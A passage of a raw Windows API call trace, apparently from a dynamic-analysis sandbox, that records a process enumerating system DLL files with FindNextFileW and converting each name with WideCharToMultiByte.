ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x86bb50c9, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb4e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="batmeter.dll", cAlternateFileName="")) returned 1 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BATMETER.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BATMETER.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.984] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x40b43e34, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x40b43e34, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xff749c50, ftLastWriteTime.dwHighDateTime=0x1ca041f, nFileSizeHigh=0x0, nFileSizeLow=0x13c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bcrypt.dll", cAlternateFileName="")) returned 1 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0035.984] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPT.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPT.DLL", lpUsedDefaultChar=0x0) returned 10 [0035.985] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x46f17635, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x46f17635, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0xea1f1abe, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x3cf50, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bcryptprimitives.dll", cAlternateFileName="")) returned 1 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BCRYPTPRIMITIVES.DLL", cchWideChar=20, lpMultiByteStr=0x30c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BCRYPTPRIMITIVES.DLL", lpUsedDefaultChar=0x0) returned 20 [0035.985] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x943ab875, ftCreationTime.dwHighDateTime=0x1ca0418, ftLastAccessTime.dwLowDateTime=0x943ab875, ftLastAccessTime.dwHighDateTime=0x1ca0418, ftLastWriteTime.dwLowDateTime=0x81bbbef0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x8600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bidispl.dll", cAlternateFileName="")) returned 1 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIDISPL.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIDISPL.DLL", lpUsedDefaultChar=0x0) returned 11 [0035.985] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd6b6860f, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xd6b6860f, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x81ced1c0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x29e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="BioCredProv.dll", cAlternateFileName="")) returned 1 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 15 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BIOCREDPROV.DLL", cchWideChar=15, lpMultiByteStr=0x30c288, cbMultiByte=15, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BIOCREDPROV.DLL", lpUsedDefaultChar=0x0) returned 15 [0035.985] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a972bdb, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a972bdb, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a972bdb, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x4c00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bitsperf.dll", cAlternateFileName="")) returned 1 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPERF.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPERF.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.985] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc757d6b0, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc757d6b0, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d5fdb0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bitsprx2.dll", cAlternateFileName="")) returned 1 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX2.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX2.DLL", lpUsedDefaultChar=0x0) returned 12 [0035.985] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc74befd5, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc74befd5, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bitsprx3.dll", cAlternateFileName="")) returned 1 [0035.985] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX3.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX3.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.396] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc7afe96b, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc7afe96b, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81d847a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bitsprx4.dll", cAlternateFileName="")) returned 1 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX4.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX4.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.396] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc89b9128, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc89b9128, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dab8a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bitsprx5.dll", cAlternateFileName="")) returned 1 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX5.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX5.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.396] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xc91e7c91, ftCreationTime.dwHighDateTime=0x1ca0411, ftLastAccessTime.dwLowDateTime=0xc91e7c91, ftLastAccessTime.dwHighDateTime=0x1ca0411, ftLastWriteTime.dwLowDateTime=0x81dd29a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="bitsprx6.dll", cAlternateFileName="")) returned 1 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BITSPRX6.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BITSPRX6.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.396] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb4251183, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0xb4251183, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0xb4251183, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xb5800, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="blackbox.dll", cAlternateFileName="")) returned 1 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BLACKBOX.DLL", cchWideChar=12, lpMultiByteStr=0x30c120, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BLACKBOX.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.396] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x325b7bbf, ftCreationTime.dwHighDateTime=0x1ca040f, ftLastAccessTime.dwLowDateTime=0x325b7bbf, ftLastAccessTime.dwHighDateTime=0x1ca040f, ftLastWriteTime.dwLowDateTime=0x14b259e0, ftLastWriteTime.dwHighDateTime=0x1ca0422, nFileSizeHigh=0x0, nFileSizeLow=0x5450, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="BOOTVID.DLL", cAlternateFileName="")) returned 1 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.396] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BOOTVID.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BOOTVID.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.396] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x9d4c7c82, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x9d4c7c82, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x9d4edde3, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0xa400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="browcli.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWCLI.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWCLI.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.397] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a679055, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a679055, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a679055, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="browseui.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BROWSEUI.DLL", cchWideChar=12, lpMultiByteStr=0x30c288, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BROWSEUI.DLL", lpUsedDefaultChar=0x0) returned 12 [0036.397] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xf03c839e, ftCreationTime.dwHighDateTime=0x1ca0414, ftLastAccessTime.dwLowDateTime=0xf03c839e, ftLastAccessTime.dwHighDateTime=0x1ca0414, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x10400, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="btpanui.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BTPANUI.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BTPANUI.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.397] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a34e9a7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8a34e9a7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827c9df0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xfa00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="BWContextHandler.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWCONTEXTHANDLER.DLL", cchWideChar=20, lpMultiByteStr=0x30c288, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWCONTEXTHANDLER.DLL", lpUsedDefaultChar=0x0) returned 20 [0036.397] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8731ad6b, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0x8731ad6b, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x827ee7e0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x2a00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="BWUnpairElevated.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 20 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="BWUNPAIRELEVATED.DLL", cchWideChar=20, lpMultiByteStr=0x30c120, cbMultiByte=20, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="BWUNPAIRELEVATED.DLL", lpUsedDefaultChar=0x0) returned 20 [0036.397] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2e6f4f, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2e6f4f, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a30d0af, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x11e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cabinet.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABINET.DLL", cchWideChar=11, lpMultiByteStr=0x30c288, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABINET.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.397] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x8a2c0def, ftCreationTime.dwHighDateTime=0x1cb892b, ftLastAccessTime.dwLowDateTime=0x8a2c0def, ftLastAccessTime.dwHighDateTime=0x1cb892b, ftLastWriteTime.dwLowDateTime=0x8a2c0def, ftLastWriteTime.dwHighDateTime=0x1cb892b, nFileSizeHigh=0x0, nFileSizeLow=0x20600, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="cabview.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CABVIEW.DLL", cchWideChar=11, lpMultiByteStr=0x30c120, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CABVIEW.DLL", lpUsedDefaultChar=0x0) returned 11 [0036.397] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xe154e3d9, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0xe154e3d9, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829926a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0xbc00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="capiprovider.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPIPROVIDER.DLL", cchWideChar=16, lpMultiByteStr=0x30c288, cbMultiByte=16, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPIPROVIDER.DLL", lpUsedDefaultChar=0x0) returned 16 [0036.397] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3f291a9a, ftCreationTime.dwHighDateTime=0x1ca0412, ftLastAccessTime.dwLowDateTime=0x3f291a9a, ftLastAccessTime.dwHighDateTime=0x1ca0412, ftLastWriteTime.dwLowDateTime=0x829b97a0, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x4e00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="capisp.dll", cAlternateFileName="")) returned 1 [0036.397] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CAPISP.DLL", cchWideChar=10, lpMultiByteStr=0x30c120, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CAPISP.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.398] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xdf27d7f7, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xdf27d7f7, ftLastAccessTime.dwHighDateTime=0x1ca0413, ftLastWriteTime.dwLowDateTime=0x82a50d80, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x6da00, dwReserved0=0x4485d8, dwReserved1=0x0, cFileName="catsrv.dll", cAlternateFileName="")) returned 1 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 10 [0036.398] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CATSRV.DLL", cchWideChar=10, lpMultiByteStr=0x30c288, cbMultiByte=10, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CATSRV.DLL", lpUsedDefaultChar=0x0) returned 10 [0036.398] FindNextFileW (in: hFindFile=0x44fcd8, lpFindFileData=0x17af9dc | out: lpFindFileData=0x17af9dc*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xd26f844f, ftCreationTime.dwHighDateTime=0x1ca0413, ftLastAccessTime.dwLowDateTime=0xd26f844f, ftLastAccessTime.dwHighDateTime=0x1ca0413, 